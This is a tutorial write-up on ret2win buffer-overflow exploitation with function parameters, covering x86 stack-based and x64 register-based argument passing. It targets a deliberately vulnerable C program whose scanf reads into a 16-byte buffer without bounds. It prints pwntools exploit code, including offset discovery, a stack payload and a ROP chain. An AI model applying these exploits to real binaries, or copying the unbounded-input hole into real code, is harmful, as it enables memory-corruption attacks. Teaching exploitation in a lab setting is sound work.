1.17 - Ret2win Exploit with Parameters (ROP Chain Attack) (x86)

Overview

Detailed breakdown of the ret2win with function parameters (x86) attack. This builds on the ret2win case, but introduces the concept of passing arguments to the target function through the stack, which is crucial for moving toward more realistic exploit development.

Target Source Code

#include <stdio.h>
 
void hacked(int first, int second)
{
    if (first == 0xdeadbeef && second == 0xc0debabe){
        printf("This function is TOP SECRET! How did you get in here?! :O\n");
    }else{
        printf("Unauthorised access to secret function detected, authorities have been alerted!!\n");
    }
 
    return;
}
 
void register_name()
{
    char buffer[16];
 
    printf("Name:\n");
    scanf("%s", buffer);
    printf("Hi there, %s\n", buffer);
}
 
int main()
{
    register_name();
 
    return 0;
}

This attack targets a 32-bit binary vulnerable to a buffer overflow. The binary contains a secret function hacked(int first, int second) which only executes the intended behavior if called with specific parameters:

  • first == 0xdeadbeef
  • second == 0xc0debabe

The goal is to overwrite the saved return address with the address of hacked(), and then place the required parameters on the stack in the correct order.


Target Program Summary

  • Vulnerability: register_name() reads user input with scanf("%s", buffer) into a 16-byte buffer without bounds checking.
  • Exploit Goal: Call hacked(0xdeadbeef, 0xc0debabe) by overflowing the buffer and controlling the function call sequence.
  • Key Difference from basic ret2win: The target function requires two integer arguments, which must be passed correctly according to the x86 calling convention.

Calling Convention (x86, 32-bit cdecl)

  • Function parameters are pushed right-to-left on the stack.
  • Return address (EIP) is stored at the top of the stack before jumping to the function.
  • Exploit must overwrite EIP with the address of hacked, then place a fake return address and the required arguments on the stack.

Stack layout after overflow:

[ offset ] -> Address of hacked()
[ offset+4 ] -> Fake return address (0x0 or main())
[ offset+8 ] -> First argument (0xdeadbeef)
[ offset+12 ] -> Second argument (0xc0debabe)

Imports and Helpers

from pwn import *
  • Imports pwntools utilities for payload generation, process handling, and ELF analysis.
def start(argv=[], *a, **kw):
    ...
  • Allows quick switching between local, remote, and debugging under GDB.
def find_ip(payload):
    ...
  • Automates discovery of EIP overwrite offset using a cyclic pattern.
  • Reads the value of EIP at crash time from the corefile and calculates the buffer offset.

Debugger Integration

gdbscript = '''
init-pwndbg
continue
'''
  • Attaches pwndbg in GDB for debugging and continues execution automatically.

Binary Context

exe = './ret2win_params'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
  • Loads target binary.
  • Provides access to symbols, such as elf.functions.hacked.
  • Enables verbose logging to trace exploit execution.

Step 1: Finding the Offset

offset = find_ip(cyclic(200))
  • Sends a cyclic pattern of 200 bytes.
  • Crashes the binary and determines the buffer offset at which EIP is overwritten.
  • This offset is essential for placing the function pointer correctly.

Step 2: Crafting the Payload

payload = flat({
    offset: [
        elf.functions.hacked,
        0x0,          # Fake return address
        0xdeadbeef,   # Param 1
        0xc0debabe,   # Param 2
    ]
})
  • elf.functions.hacked: Address of the target function.
  • 0x0: Dummy return address, required to maintain stack alignment after the function executes. Could be replaced with the address of main() for repeated exploitation attempts.
  • 0xdeadbeef and 0xc0debabe: Function arguments. These satisfy the conditional check inside hacked().
  • flat(): Packs values into the correct byte representation for the architecture (little-endian, 32-bit).

Step 3: Exploitation

write('payload', payload)
io = start()
io.sendlineafter(b':', payload)
io.interactive()
  • Payload is written to a file for record-keeping.
  • New process is started.
  • Payload is delivered after the : prompt.
  • Execution flow jumps into hacked() with valid parameters, printing the secret message.
  • Interactive mode keeps the session alive to view the output.

Key Takeaways

  1. Parameter Passing on x86: Arguments must be placed on the stack after the function address and fake return address.
  2. Controlled Execution: By overwriting EIP with the function’s address and arranging the stack correctly, the exploit bypasses normal program flow.
  3. Stepping Stone Attack: This example transitions from basic ret2win to more complex attacks requiring control over both execution flow and function parameters.
  4. CTF Relevance: Commonly used in beginner-to-intermediate challenges, reinforcing understanding of calling conventions and stack layout.

This case shows how return-to-function with parameters works in a 32-bit environment.

Ret2win Exploit with Parameters (x64)

This exploit targets a 64-bit binary vulnerable to a buffer overflow. Like the x86 version, the goal is to call a hidden function hacked(first, second) with specific parameters. However, the key difference lies in the x86-64 System V AMD64 calling convention, which uses registers for argument passing instead of the stack.


Calling Convention (x64, System V AMD64)

  • First six arguments are passed in registers, not on the stack:
    • RDI → 1st argument
    • RSI → 2nd argument
    • RDX → 3rd argument
    • RCX → 4th argument
    • R8 → 5th argument
    • R9 → 6th argument
  • Return address (RIP) is still controlled by buffer overflow, but function parameters must be moved into the correct registers before the call.

Step 1: Finding the Offset

offset = find_ip(cyclic(200))
  • Uses a cyclic pattern to determine the exact location where RIP is overwritten.
  • Reads from the stack pointer (sp) to retrieve the crash address and calculate the offset.

Step 2: Creating the ROP Chain

rop = ROP(elf)
rop.hacked(0xdeadbeefdeadbeef, 0xc0debabec0debabe)
  • Pwntools’ ROP object automatically sets up the correct register state.
  • Instead of pushing parameters onto the stack, it inserts gadgets to move values into RDI and RSI, which are required for the two arguments.
  • This abstraction avoids manual gadget hunting like pop rdi; ret or pop rsi; ret.

Step 3: Building the Payload

payload = flat({
    offset: rop.chain()
})
  • Payload overwrites RIP at the correct offset.
  • At the overwrite location, the ROP chain is injected.
  • The ROP chain sets up the registers (RDI and RSI) and then jumps to hacked().

Step 4: Exploiting

io.sendlineafter(b':', payload)
io.interactive()
  • Payload is sent to the binary after the prompt.
  • Execution flow is hijacked to hacked() with parameters loaded into registers.
  • Function executes successfully and prints the secret message.

Key Takeaways (x64 Vs x86)

  1. Parameter Passing:

    • x86: Parameters must be pushed onto the stack after the return address.
    • x64: Parameters are passed via registers (RDI, RSI, RDX, etc.).
  2. ROP Chain Utility:

    • x86: Manually stack parameters in the correct order.
    • x64: Pwntools’ ROP object automatically handles register setup with appropriate gadgets.
  3. Exploitation Process:

    • Offset discovery and RIP overwrite remain the same.
    • Argument delivery is the main difference: stack-based for x86, register-based for x64.

This technique shows the transition from stack-based parameter passing in 32-bit exploitation to register-based parameter passing in 64-bit exploitation, a critical step for understanding modern return-to-function and ROP attacks.

Resources